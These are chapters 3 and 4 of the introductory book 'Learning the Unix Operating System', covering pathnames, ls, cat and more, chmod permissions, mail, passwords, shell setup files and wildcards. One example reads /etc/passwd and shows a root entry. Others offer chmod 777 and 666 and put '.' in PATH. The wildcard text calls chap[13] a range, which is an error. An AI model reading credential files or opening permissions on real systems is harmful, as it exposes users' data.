When you log in to UNIX, you're placed in a directory called your home directory. This home directory, a unique place in the UNIX filesystem, contains the files you use almost every time you log in. In your home directory, you can make your own files. As you'll see in a minute, you can also store your own directories within your home directory. Like folders in a file cabinet, this is a good way to organize your files.

3.1.2 Your Working Directory

Your working directory (sometimes called your current working directory) is the directory you're currently working in. At the start of every session, your home directory is your working directory. You may change to another directory, in which case the directory you move to becomes your working directory.

Unless you tell UNIX otherwise, all commands that you enter apply to the files in your working directory. In the same way, when you create files, they're created in your working directory.

3.1.3 The Directory Tree

All directories on a UNIX system are organized into a hierarchical structure that you can imagine as a family tree. The parent directory of the tree is known as the root directory and is written as a forward slash (/).

The root contains several directories. Figure 3.1 shows the top of an imaginary UNIX filesystem tree - the root directory and some of the directories under the root.

Figure 3.1: Example of a directory tree

bin, etc, users, tmp, and usr are some of the subdirectories (child directories) of root. These are fairly standard directories and usually contain specific kinds of system files. For instance, bin contains many UNIX commands. Not all systems have a directory named users; it may be called u, home, and/or be located in some other part of the filesystem.

In our example, the parent directory of users (one level above) is root. It also has two subdirectories (one level below), john and carol. On a UNIX system, each directory has one parent directory and may have one or more subdirectories. [1] A subdirectory (like carol) can have its own subdirectories (like work and play), to a limitless depth for practical purposes.

[1] Q: Which directory doesn't seem to have a parent directory? A: On most UNIX systems, the root directory, at the top of the tree, is its own parent. Some systems have another directory above the root.

To specify a file or directory location, you write its pathname. A pathname is like the address of the directory or file in the UNIX filesystem. We'll look at pathnames in a moment.

On a basic UNIX system, all files in the filesystem are stored on disks connected to your computer. It isn't always easy to use the files on someone else's computer or for someone on another computer to use your files. Your system may have an easier way: a networked filesystem (with a name like NFS or RFS). Networked filesystems make a remote computer's files appear as if they're part of your computer's directory tree. For instance, your computer in Los Angeles might have a directory named boston. When you look in that subdirectory, you'll see some (or all) of the directory tree from your company's computer in Boston. Your system administrator can tell you if your computer has any networked filesystems.

3.1.4 Absolute Pathnames

As you saw above, the UNIX filesystem organizes its files and directories in an inverted tree structure with the root directory at the top. An absolute pathname tells you the path of directories you must travel to get from the root to the directory or file you want. In a pathname, put slashes (/) between the directory names.

For example, /users/john is an absolute pathname. It locates just one directory. Here's how:

  • the root is the first "/"

  • the directory users (a subdirectory of root)

  • the directory john (a subdirectory of users)

Be sure not to type spaces anywhere in the pathname. Figure 3.2 shows this structure.

Figure 3.2: Absolute path of directory john

If you look at Figure 3.2, you'll see that the directory john has a subdirectory named work. Its absolute pathname is /users/john/work.

The root is always indicated by the slash (/) at the start of the pathname.

3.1.5 Relative Pathnames

You can also locate a file or directory with a relative pathname. A relative pathname gives the location relative to your working directory.

Unless you use an absolute pathname (starting with a slash), UNIX assumes that you're using a relative pathname. Like absolute pathnames, relative pathnames can go through more than one directory level by naming the directories along the path.

For example, if you're currently in the users directory (see Figure 3.2), the relative pathname to the carol directory below is simply carol. The relative pathname to the play directory below that is carol/play.

Notice that neither of the pathnames in the previous paragraph starts with a slash. That's what makes them relative pathnames! These pathnames start at the working directory, not the root directory.

3.1.5.1 Exercise

Here's a short but important exercise. The example above explained the relative pathname carol/play. What do you think UNIX would say about the pathname /carol/play? (Look again at Figure 3.2.)

UNIX would say "No such file or directory." Why? (Please think about that before you read more. It's very important and it's one of the most common beginner's mistakes.) Here's the answer. Because it starts with a slash, the pathname /carol/play is an absolute pathname that starts from the root. It says to look in the root directory for a subdirectory named carol. But there is no subdirectory named carol one level directly below the root, so the pathname is wrong. The only absolute pathname to the play directory is /users/carol/play.

3.1.5.2 Relative pathnames up

You can go up the tree by using the shorthand ".." (dot dot) for the parent directory. As you saw above, you can also go down the tree by using subdirectory names. In either case (up or down), separate each level by a slash (/).

Figure 3.3 shows a part of Figure 3.1. If your working directory in the figure is work, there are two pathnames for the play subdirectory of carol. You already know how to write the absolute pathname, /users/carol/play. You can also go up one level (with "..") to carol, then go down the tree to play. Figure 3.3 shows that.

Figure 3.3: Relative pathname from work to play

The relative pathname would be ../play. It would be wrong to give the relative address as carol/play. Using carol/play would say that carol is a subdirectory of your working directory instead of what it is in this case: the parent directory.

Absolute and relative pathnames are totally interchangeable. UNIX commands simply follow whatever path you specify to wherever it leads. If you use an absolute pathname, the path starts from the root. If you use a relative pathname, the path starts from your working directory. Choose whichever is easier at the moment.

3.1.6 Changing Your Working Directory

When you know the absolute or relative pathname of a directory, you can move up and down the UNIX directory tree.

3.1.6.1 pwd

To find which directory you're currently in, use the pwd (print working directory) command. The pwd command takes no arguments.

% pwd
/users/john
%

pwd prints the absolute pathname of your working directory.

3.1.6.2 cd

You can change your working directory to any directory (including another user's directory - if you have permission) with the cd (change directory) command.

The cd command has the form:

cd pathname

The argument is an absolute or a relative pathname (whichever is easier) for the directory you want to change to.

% cd /users/carol
% pwd
/users/carol
% cd work
% pwd
/users/carol/work
%

Here's a handy tip: the command cd, with no arguments, takes you to your home directory from wherever you are in the filesystem.

Note that you can only change to another directory. You cannot cd to a filename. If you try, UNIX will give you an error message:

% cd /etc/passwd
/etc/passwd:  Not a directory
%

/etc/passwd is a file that contains information about users allowed to log in to the system.

3.1.7 Files in the Directory Tree

A directory can hold subdirectories. And, of course, a directory can hold files. Figure 3.4 is a close-up of the filesystem around john's home directory. The four files are shown along with the work subdirectory.

Figure 3.4: Files in the directory tree

Pathnames to files are made the same way as pathnames to directories. For example, if your working directory is users, the relative pathname to the work directory below would be john/work. The relative pathname to the ch1 file would be john/ch1.

3.1.8 Listing Files

To use the cd command, you must decide which entries in a directory are subdirectories and which are files. The ls command lists the entries in the directory tree.

3.1.8.1 ls

When you enter the ls command, you'll get a listing of the files and subdirectories contained in your working directory. The syntax is:

ls option(s) directory-and-filename(s)

If you've just logged in for the first time, entering ls without any arguments may seem to do nothing. This isn't surprising because you haven't made any files in your working directory. If you have no files, nothing is displayed; you'll simply get a new shell prompt.

% ls
%

But if you've already made some files or directories in your account, those names are displayed. The output depends on what's in your directory. The display should look something like this:

% ls
ch1    ch10    ch2    ch3   intro
%

(Some systems display filenames in a single column. If yours does, you can change the display to columns with the -x option.) ls has a lot of options that change the information and display format.

The -a option (for all) is guaranteed to show you some more files, as in the following example:

% ls -a
.      .exrc      ch1     ch2     intro
..     .profile   ch10    ch3
%

You'll always see at least two new entries with the names "." (dot) and ".." (dot dot). As mentioned earlier, .. is always the relative pathname to the parent directory, and a single . always stands for any working directory. There may also be other files, like .profile or .exrc. Any entry whose name begins with a dot is hidden - it will be listed only if you use ls -a.

To get more information about each file, add the -l option. (That's a lowercase letter "L" for long.) This option can be used alone, or in combination with -a, as shown in Figure 3.5.

Figure 3.5: Output from ls -al

The long format provides the following information about each file:

Total n

n amount of storage used by the files in this directory.

Type

Tells whether the file is a directory (d) or a plain file (-). (There are other less common types that we don't explain here.)

Access modes

Specifies three types of users (yourself, your group, all others) who are allowed to read (r), write (w), or execute (x) your files.

Links

The number of files and directories linked to this one.

Owner

The person who created or owns the file.

Group

The group that owns the file. (If your version of UNIX doesn't show this column, add the -g option to see it.)

Size (in bytes)

The size of the file.

Modification date

The date when the file was last modified.

Name

The name of the file or directory.

Notice especially the columns that list the owner and group of the files, and the access modes (also called permissions). The person who creates a file is its owner; if you've created any files (or the system administrator did it for you), this column should show your username. You also belong to a group, to which you were assigned by the system administrator. Files you create will either be marked with the name of your group or, in some cases, the group that owns the directory.

The permissions control who can read, write (modify), or execute the file (if it's a program). The permissions have ten characters. The first character shows the file type (directory or plain file). The second through the fourth characters show the permissions for the file's owner - yourself if you created the file. The fifth through the seventh characters show permissions for other members of the file's group. The eighth through the tenth characters show permissions for all other users.

For example, the permissions for .profile are -rw-r--r--, so it's a plain file. You, the owner, have both read and write permissions. But other users of the system can only read the file; they cannot modify the file's contents. No one has execute (x) permission, which should only be used for executable files (files that hold programs).

In the case of directories, x means the permission to access the directory - for example, to run a command that reads a file there or to use a subdirectory. Notice that the two directories shown in the example are executable (searchable by you, by your group, and by everyone else on the system). A directory with w (write) permission allows deleting, renaming, or adding files within the directory. Read (r) permission allows listing the directory with ls.

You can use the chmod command to change the permissions of your files and directories. See the section of this chapter called "Protecting and Sharing Files."

If you need to know only which files are directories and which are executable files, you can use the -F option.

If you give the pathname to a directory, ls will list the directory but it will not change your working directory. The pwd command in the following example shows that:

% ls -F /users/andy
calendar    goals    ideas/
ch2         guide/   testpgm*
% pwd
/etc
%

ls -F puts a / (slash) at the end of each directory name. (The directory name doesn't really have a slash in it; that's just the shortcut ls -F uses with a directory.) In our example, guide and ideas are directories. You can verify this by using ls -l and noting the "d" in the first field of the output. Files with an execute status (x), like programs, are marked with an * (asterisk). The file testpgm is an executable file. Files that aren't marked are not executable.

On Linux and other systems with the GNU version of ls, you may be able to see names in color. For instance, directories could be green and program files could be yellow. Like almost everything on UNIX, of course, this is configurable - and the details are more than we can cover in an introductory book. Try typing ls --color and see what happens. (It's time for our familiar mantra: "check your documentation"; see Chapter 7, Where to Go from Here .)

3.1.8.2 Exercise: Exploring the filesystem

You're now equipped to explore the filesystem with cd, ls, and pwd. Take a tour of the directory system, hopping one or many steps at a time, with a mixture of cd and pwd commands.
Go to your home directory. | Enter cd
Find your working directory. | Enter pwd
Change to new working directory. | Enter cd /etc
List files in new working directory. | Enter ls
Change directory to root and list files. | Enter cd /; ls
Change to a new directory. | Enter cd usr
Give a wrong pathname. | Enter cd xqk
Change to a new directory with its absolute pathname. | Enter cd /etc
List files in another directory. | Enter ls /bin
Find your working directory (notice that ls didn't change it). | Enter pwd
Return to your home directory. | Enter cd

Previous: 2.7 Quitting | Learning the Unix Operating System | Next: 3.2 Looking Inside Files
2.7 Quitting | Book Index | 3.2 Looking Inside Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.2 Looking Inside Files

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 3.1 The UNIX Filesystem Chapter 3
Your UNIX Account 		Next: 3.3 Protecting and Sharing Files

3.2 Looking Inside Files

By now, you're probably tired of looking at files from the outside. It's kind of like going to a bookstore and looking at the covers, but never getting to read a word. Let's look at three programs for reading files: cat, more, and pg.

3.2.1 cat

Most first-time users of UNIX think that cat is a strange name for a program. As we'll see later, cat, which is short for "concatenate," puts files together (concatenates them) to make a bigger file. It can also display files on your screen.

To display files on the standard output (your screen; see Chapter 5, Redirecting I/O ), use:

cat file(s)

For example, let's display the contents of the file /etc/passwd. This system file describes users' accounts. (Your system may have a more complete list somewhere else.)

% cat /etc/passwd
root:x&k8KP30f;(:0:0:Root:/:
daemon:*:1:1:Admin:/:
    .
    .
    .
%

cat works best for short files containing one screenful or less. If you cat a file that is too long, it may roll up the screen faster than you can read it. You cannot go back to view the previous screens when you use cat (unless you're using an xterm window with a scrollbar, that is).

If you enter cat without a filename, get out by pressing [RETURN] followed by a single [CTRL-D].

3.2.2 more

If you want to "read" a long file on the screen, your system may have the more command to display one screen or "page" of text at a time. A standard terminal screen can usually display 24 lines of text; a window can display almost any number of lines. The syntax is:

more file(s)

more lets you move forward in the files by any number of pages or lines. Most versions let you move backward, too. You can also move back and forth between two or more files specified on the command line. When you invoke more, the first "page" of the file appears on the screen. A prompt appears at the bottom of the screen, as in the following example:

% more ch03
A file is the unit of storage in UNIX as in many other systems.
A file can be anything: a program,
    .
    .
    .
--More--(47%)

The prompt says that you are 47% of your way through the file. The cursor sits to the right of this prompt as a signal for you to enter a more command to tell more what to do.

You can press "h" (for "help") at the more prompt to display the more commands available on your system. Table 3.1 lists some of the simpler (but quite useful) ones.

Table 3.1: Useful more Commands
Command | Description
[SPACE] | Display next page.
[RETURN] | Display next line.
nf | Move forward n pages.
b | Move backward one page.
nb | Move backward n pages.
/word | Search forward for word.
?word | Search backward for word.
v | Start the vi editor at this point.
[CTRL-L] | Redisplay current page.
h | Help.
:n | Go to next file on command line.
:p | Go back to previous file on command line.
q | Quit more (before end of file).

3.2.3 pg

The more command isn't available on some UNIX systems. Most of those systems have the pg command instead. It works like more but has different features. For example, pg lets you move to specific lines.

The syntax is:

pg filename(s)

If your system has pg, try it on a file that has more lines than your screen. Your screen displays the first page of the file. The last line is a colon (:) prompt. Press [RETURN] to view the next page or enter "q" to quit. Enter "h" for a list of pg commands.

Previous: 3.1 The UNIX Filesystem | Learning the Unix Operating System | Next: 3.3 Protecting and Sharing Files
3.1 The UNIX Filesystem | Book Index | 3.3 Protecting and Sharing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.3 Protecting and Sharing Files

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 3.2 Looking Inside Files Chapter 3
Your UNIX Account 		Next: 3.4 Electronic Mail

3.3 Protecting and Sharing Files

UNIX makes it easy for users to share files and directories. Controlling exactly who has access takes some explaining, though - more explaining than we can do here. So here's a cookbook set of instructions. If you have critical security needs or you just want more information, see the references in Appendix A, Reading List .

3.3.1 Directory Access Permissions

A directory's access permissions help to control access to the files in it. These affect the overall ability to use files and subdirectories in the directory. (Once you have access to a directory, the ability to read or modify the contents of specific files is controlled by the file access permissions; see the second of the following two lists.)

In the commands below, replace dirname with the directory's pathname. An easy way to change permissions on the working directory is by using its relative pathname, . (dot), as in "chmod 755 .".

  • To keep yourself from accidentally removing files (or adding or renaming files) in a directory, use chmod 555 dirname. To do the same, but also deny other users any access, use chmod 500 dirname.

  • To protect the files in a directory and all its subdirectories from everyone else on your system - but still be able to do anything you want to dp there - use chmod 700 dirname.

  • To let other people on the system see what's in a directory - and read or edit the files if the file permissions let them - but not rename, remove, or add files - use chmod 755 dirname.

  • To let people in your UNIX group add, delete, and rename files in a directory of yours - and read or edit other people's files if the file permissions let them - use chmod 775 dirname.

  • To give full access to everyone on the system, use chmod 777 dirname.

Remember, to access a directory, a user must also have execute (x) permission to all of its parent directories, all the way up to the root.

3.3.2 File Access Permissions

The access permissions on a file control what can be done to the file's contents. The access permissions on the directory where the file is kept control whether the file can be renamed or removed.

  • To make a private file that only you can edit, use chmod 600 filename. To protect it from accidental editing, use chmod 400 filename.

  • To edit a file yourself, and let everyone else on the system read it without editing, use chmod 644 filename.

  • To let you and all members of your UNIX group edit a file, but keep any other user from reading or editing it, use chmod 660 filename.

  • To let nongroup users read but not edit the file, use chmod 664 filename.

  • To let anyone read or edit the file, use chmod 666 filename.

3.3.3 More Protection Under Linux

Most Linux systems have a command that gives you more choices on file and directory protection: chattr. chattr is being developed, and your version may not have all of the features that it will have in later versions of Linux. For instance, chattr can make a Linux file append-only (so it can't be overwritten, only added to); compressed (to save disk space automatically); immutable (so it can't be changed at all); undeletable, and more. Check your online documentation (type man chattr - see Chapter 7) or ask your system administrator for advice on your system.

3.3.3.1 Problem checklist

I get the message "chmod: Not owner."

Only the owner of a file or directory can set its permissions. Use ls -l to find the owner.

Previous: 3.2 Looking Inside Files | Learning the Unix Operating System | Next: 3.4 Electronic Mail
3.2 Looking Inside Files | Book Index | 3.4 Electronic Mail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.4 Electronic Mail

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 3.3 Protecting and Sharing Files Chapter 3
Your UNIX Account 		Next: 3.5 Changing Your Password

3.4 Electronic Mail

When you log in to your system, you may see a notice that says "You have mail." Someone has sent you a message or document by electronic mail (email). With email, you can compose a message at your terminal and send it to another user or list of users. You can also read any messages that others may have sent to you.

Email has several advantages over paper mail: it's convenient if you're already logged in, it's delivered much more quickly, you can send it to any number of people almost as easily as to just one person, and the messages can be stored for later reference.

There are a lot of email programs for UNIX. Some UNIX systems have only an old, simple program named mail, which this book doesn't cover. Most UNIX systems have a Berkeley program called Mail (with an uppercase "M"), mailx, or just mail. A popular menu-driven program that's easier to learn is called pine. All programs' basic principles are the same, though. We'll cover the Berkeley mail program.

3.4.1 Sending Mail

Your mail's recipient doesn't have to be logged in. The messages you send are stored in the recipient's "mailbox," a file deep in the UNIX filesystem (often located in the directory /usr/mail). Messages are kept there until the recipient logs in and decides to read them.

To send mail, give the address of each person you want to send a message to, like this:

mail address1 address2 ...

There are several kinds of addresses, too many to explain here. If you have questions, see one of the references in Appendix A or ask your system administrator or postmaster (the person who maintains your email system). The most common addresses have this syntax:

username@hostname

username is the person's username and hostname is the name of their computer. If the recipient reads email on the same computer you do, you may omit the @hostname. To keep a copy of your message, just add your username to the list of addresses.

After you enter mail and the addresses, in most cases the program (depending on how it's set up) will prompt you for the subject of the message. Type a one-line summary of the message (just like a paper memo) and press [RETURN]. Type in your message, line by line, pressing the [RETURN] key after every line, just as you would on a typewriter. When you have finished entering text, type [CTRL-D] (just once!) on a separate line. You should get the shell prompt at this point - though it might take a few seconds. If you change your mind before you type [CTRL-D] you can cancel a message (while you are still entering text) by entering ~q (a tilde character, then the letter "q") at the start of a line. The cancelled message is placed in a file called dead.letter in your home directory. To see other commands you can use while sending mail, enter ~? (tilde question mark) at the start of a line of your message, then press [RETURN]. To redisplay your message after using ~?, enter ~p at the start of a line.

% mail alicia@moxco.chi.il.us
Subject: My trip to Chicago is on!
Alicia, I will be able to attend your meeting.
Please send me the agenda.  Thanks.
^D
%

You can't cancel a message after you type [CTRL-D]. (Unless you're a system administrator and you're lucky to catch the message in time, that is.) So, if you change your mind about Alicia's meeting, you'll need to send her another message.

3.4.2 Reading Your Mail

To read your mail, simply enter mail (or the name of your system's email command) at the shell prompt. You can do this at any time during the UNIX session, not just when you log in.

Let's read Jerry's message to Alicia:

% mail
Mail version SMI 4.0 Wed Oct 23 10:38:28 PDT 1991  Type ? for help.
"/usr/spool/mail/alicia": 2 messages 1 new
>U  1 bigboss         Sat May 22 06:56  19/529  In your spare time
 N  2 jpeek@jpeek.com Tue Nov  4 14:25  14/362  My trip to Chicago
& 2
Message 2:
Date: Tue, 4 Nov 1997 14:25:43 EST
From: jpeek@jpeek.com (Jerry Peek)
To: alicia@moxco.chi.il.us
Subject: My trip to Chicago is on!
Alicia, I will be able to attend your meeting.
Please send me the agenda.  Thanks.
& d
& q
Held 1 message in /usr/spool/mail/alicia
%

When you start mail, it prints a "message header" that shows whether each message is "new" (N) or "unread" (U), a message number, the sender, and when the message was sent. A ">" marks the current message. You can read any message by entering its number; if you use a command without a number, the command acts on the current message. If you read a message and don't delete it, the message is automatically moved to a file called mbox in your home directory.

The output of mail says that the message was sent by Jerry on Tuesday, November 4, at 2:25 p.m. The ampersand (&) on the last line is the mail program prompt. Just as the UNIX shell prompt is a sign that the shell is waiting for you to enter a command, the mail prompt is a sign that the mail program is waiting for you to enter a mail command. Your mail prompt may consist of a single character. Learn the mail prompt on your system and enter one of the commands in Table 3.2. For instance, Alicia might have chosen to enter r to reply to Jerry before using d to delete his message.

Table 3.2: Some mail Commands (at mail Prompt)
Command | Description
? | Display menu of mail commands.
# | Show message number #.
n | Display the next message.
p | Display current message.
d | Delete the message. Messages you read and don't delete are saved in mbox.
m addrs | Mail a message to the addresses addrs.
r | Reply to sender of current message.
R | Reply to sender and other recipients of current message.
s file | Save a message in the named file.
file file | Handle the messages in the named file.
file % | Handle the messages in your system mailbox.
h | Display summary of messages.
q | Quit the mail program.
x | Exit the mail program, ignoring any changes you made during this session.

3.4.2.1 Exercise: Sending mail

You can practice sending mail to your friends in this exercise. List the users logged on to the system and choose a name. You can also use your username to send mail to yourself. Enter the following message. Do not forget to press the [RETURN] key at the end of each line, and type [CTRL-D] on a line by itself when you're done.
List logged-on users. | Enter who
Send mail to someone. | Enter mail name
 | Hi there!
 | I'm just trying
 | the mail program.
 | ^D

Previous: 3.3 Protecting and Sharing Files | Learning the Unix Operating System | Next: 3.5 Changing Your Password
3.3 Protecting and Sharing Files | Book Index | 3.5 Changing Your Password
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.5 Changing Your Password

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 3.4 Electronic Mail Chapter 3
Your UNIX Account 		Next: 3.6 Customizing Your Account

3.5 Changing Your Password

On most UNIX systems, everyone knows (or can find) your username. When you log in, how does the system decide that you are really the owner of your account - not an intruder trying to break in? It uses your password. If anyone knows both your username and password, they can probably use your account, and that includes sending mail that looks like you wrote it. So you should keep your password a secret!

If you think that someone knows your password, you should probably change it right away - although, if you suspect a computer "cracker" (or "hacker") is using your account to break into your system, ask your system administrator for advice first, if possible! You should also change your password periodically - every few months is recommended.

In general, a password should be something that's easy for you to remember but hard for other people (or password-guessing programs!) to guess. Your system should have guidelines for secure passwords. If it doesn't, here are some suggestions. A password should be between six and eight characters long. It should not be a word in any language, your phone number, your address, or anything that anyone else might know or guess that you'd use as a password. It's best to mix upper- and lower-case letters, punctuation, and numbers.

To change your password, you'll probably use either the passwd or yppasswd command. After you enter the command, it will prompt you to enter your current password ("old password"). If that's correct, it will ask you to enter your new password - twice, to be sure you don't make a typing mistake. For security, neither the old nor new passwords appear as you type them.

On some systems, your password change won't take effect for some time: from a few minutes to a day or so after you make it.

Previous: 3.4 Electronic Mail | Learning the Unix Operating System | Next: 3.6 Customizing Your Account
3.4 Electronic Mail | Book Index | 3.6 Customizing Your Account
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.6 Customizing Your Account

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 3.5 Changing Your Password Chapter 3
Your UNIX Account 		Next: 4. File Management

3.6 Customizing Your Account

As we saw earlier, your home directory may have a hidden file called .profile. If it doesn't, there'll probably be one or more files named .login, .cshrc, .tshrc, .bashrc, .bash_profile, or .bash_login. These file are shell setup files, the key to customizing your account. Shell setup files contain commands that are automatically executed when a new shell starts - especially when you log in.

Let's take a look at these files. Go to your home directory, then use cat to display the file. Your .profile might look something like this:

PATH=/bin:/usr/bin:/usr/local/bin:
export PATH
/usr/games/fortune
date
umask 002
stty erase ^H intr ^C

A .login file might look something like this:

set path = (/bin /usr/bin /usr/local/bin .)
/usr/games
date
umask 002
stty erase ^H intr ^C

As you can see, these sample setup files contain commands to print a "fortune" and the date - just what happened earlier when we logged in! (/usr/games/fortune is a useless but entertaining program that prints a randomly selected saying from its collection. fortune isn't available on all systems.)

But what are these other commands?

  • The line with PATH= or set path = tells the shell which directories to search for UNIX commands. This saves you the trouble of typing the complete pathname for each program you run. (Notice that /usr/games isn't part of the path, so we had to use the absolute pathname to get our daily dose of wisdom from the fortune command.)

  • The umask command sets the default file permissions assigned to all files you create. Briefly, a value of 022 sets the permissions rw-r--r-- (read-write by owner, but read-only by everyone else), and 002 will produce rw-rw-r-- (read-write by owner and group, but read-only by everyone else). If this file is a program or a directory, both umasks will also give execute (x) permission to all users. See one of the books in Appendix A or your UNIX documentation for details.

  • The stty command sets your terminal control characters - for example, the erase and interrupt characters we discussed earlier.

You can execute any of these commands from the command line, as well. For example, to change your erase character from [BACKSPACE] [(CTRL-H)] to [DEL] [CTRL-?] you would enter:

% stty erase ^?

(The [DEL] key actually generates the control code [CTRL-?] so that's what you'll see on your screen.)

Now pressing [DEL] will backspace and erase characters you type. (If your account is already set up to use [DEL] as the erase character, reverse this example, and change the erase character to [BACKSPACE].

If you experiment with stty, be careful not to reset the erase or interrupt character to a character you'll need otherwise. If you do, though, simply log out and then log back in; you'll get the default erase and interrupt characters again.

UNIX has many other configuration commands to learn about; the references in Appendix A list some of them. One popular configuration is to change your screen colors. On some Linux systems (and others), for example, the command setterm -background blue makes a blue background. Unfortunately, different systems do this in different ways; ask a local expert or someone who has a colored screen.

Just as you can execute the setup commands from the command line, the converse is true: any command that you can execute from the command line can be executed automatically when you log in by placing it in your setup file. (Running interactive commands like mail from your setup file isn't a good idea, though.)

You probably shouldn't edit your setup files yet, but it's good to know what's in them. Later, when you know more about UNIX, feel free to add or change commands in this file.

Previous: 3.5 Changing Your Password | Learning the Unix Operating System | Next: 4. File Management
3.5 Changing Your Password | Book Index | 4. File Management
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] File Management

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 3.6 Customizing Your Account Chapter 4 Next: 4.2 File and Directory Names

4. File Management

Contents:
Methods of Creating Files
File and Directory Names
File and Directory Wildcards
Managing Your Files
Printing Files

4.1 Methods of Creating Files

You'll usually create a text file with a text editor. An editor lets you add, change, and rearrange text easily. Two common UNIX editors are vi (pronounced "vee-eye") and emacs ("ee-macs").

Neither of those editors has the same features as popular word processing software on personal computers. Instead of being designed for making documents, envelopes, and so on, vi and emacs are very sophisticated, extremely flexible editors for all kinds of text files: programs, email messages, and so on. Many UNIX systems also support easy-to-use word processors. Ask your system administrator what's available. Pico is a simple editor (not word processor) that has been added to many UNIX systems.

Since there are several editor programs, you can choose one you're comfortable with. vi is probably the best choice because almost all UNIX systems have it, but emacs is also widely available. The O'Reilly & Associates books Learning the vi Editor and Learning GNU Emacs cover those editors in detail. If you'll be doing only simple editing, however, pico is a great choice. Although pico is much less powerful than emacs or vi, it's also a lot easier to learn.

You can also create a file by using a UNIX feature called input/output redirection, as Chapter 5, Redirecting I/O , explains. This sends the output of a command directly to a file - to make a new file or make an existing file larger.

Previous: 3.6 Customizing Your Account | Learning the Unix Operating System | Next: 4.2 File and Directory Names
3.6 Customizing Your Account | Book Index | 4.2 File and Directory Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.2 File and Directory Names

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 4.1 Methods of Creating Files Chapter 4
File Management 		Next: 4.3 File and Directory Wildcards

4.2 File and Directory Names

As Chapter 3, Your UNIX Account , explained, both files and directories are identified by their names. A directory is really just a special kind of file, so the rules for naming directories are the same as the rules for naming files.

Filenames may contain any character except /, which is reserved as the separator between files and directories in a pathname. Filenames are usually made of upper- and lowercase letters, numbers, "." (dot), and "_" (underscore). Other characters (including spaces) are legal in a filename - but they can be hard to use because the shell gives them special meanings. So we recommend using only letters, numbers, dot, and underscore characters.

Unlike some operating systems, UNIX doesn't require a dot (.) in a filename; in fact, you can use as many as you want. For instance, the filenames pizza and this.is.a.mess are both legal.

Some UNIX systems limit filenames to 14 characters. Most newer systems allow much longer filenames.

A filename must be unique inside its directory, but other directories may have files with the same names. For example, you may have the files called chap1 and chap2 in the directory /users/carol/work and also have files with the same names in /users/carol/play.

Previous: 4.1 Methods of Creating Files | Learning the Unix Operating System | Next: 4.3 File and Directory Wildcards
4.1 Methods of Creating Files | Book Index | 4.3 File and Directory Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.3 File and Directory Wildcards

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 4.2 File and Directory Names Chapter 4
File Management 		Next: 4.4 Managing Your Files

4.3 File and Directory Wildcards

When you have a number of files named in series (for example, chap1 to chap12) or filenames with common characters (like aegis, aeon, and aerie), you can use wildcards (also called metacharacters) to specify many files at once. These special characters are * (asterisk), ? (question mark), and [ ] (square brackets). When used in a filename given as an argument to a command:

*

An asterisk is replaced by any number of characters in a filename. For example, ae* would match aegis, aerie, aeon, etc. if those files were in the same directory. You can use this to save typing for a single filename (for example, al* for alphabet.txt) or to name many files at once (as in ae*).

?

A question mark is replaced by any single character (so h?p matches hop and hip, but not help).

[ ]

Square brackets can surround a choice of characters you'd like to match. Any one of the characters between the brackets will be matched. For example, [Cc]hapter would match either Chapter or chapter, but [ch]apter would match either capter or hapter. Use a hyphen (-) to separate a range of consecutive characters. For example, chap[13] would match chap1, chap2, or chap3.

The examples below demonstrate the use of wildcards. The first command lists all the entries in a directory, and the rest use wildcards to list just some of the entries. The last one is a little tricky; it matches files whose names contain two (or more) a's.

% ls
chap10       chap2        chap5     cold
chap1a.old   chap3.old    chap6     haha
chap1b       chap4        chap7     oldjunk
% ls chap?
chap2    chap5    chap7
chap4    chap6
% ls chap[5-8]
chap5    chap6    chap7
% ls chap??
chap10   chap1b
% ls *old
chap1a.old   chap3.old    cold
% ls *a*a*
chap1a.old   haha

Wildcards are useful for more than listing files. Most UNIX commands accept more than one filename, and you can use wildcards to put multiple files on the command line. For example, the command more is used to display a file on the screen. Let's say you want to display files chap3.old and chap1a.old. Instead of specifying these files individually, you could enter the command as:

% more *.old

This is equivalent to "more chap1a.old chap3.old".

Wildcards match directory names, too. For example, let's say you have subdirectories named Jan, Feb, Mar, and so on. Each has a file named summary. You could read all the summary files by typing "more */summary". That's almost equivalent to "more Jan/summary Feb/summary ..." but there's one important difference: The names will be alphabetized, so Apr/summary would be first in the list.

Previous: 4.2 File and Directory Names | Learning the Unix Operating System | Next: 4.4 Managing Your Files
4.2 File and Directory Names | Book Index | 4.4 Managing Your Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.4 Managing Your Files

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 4.3 File and Directory Wildcards Chapter 4
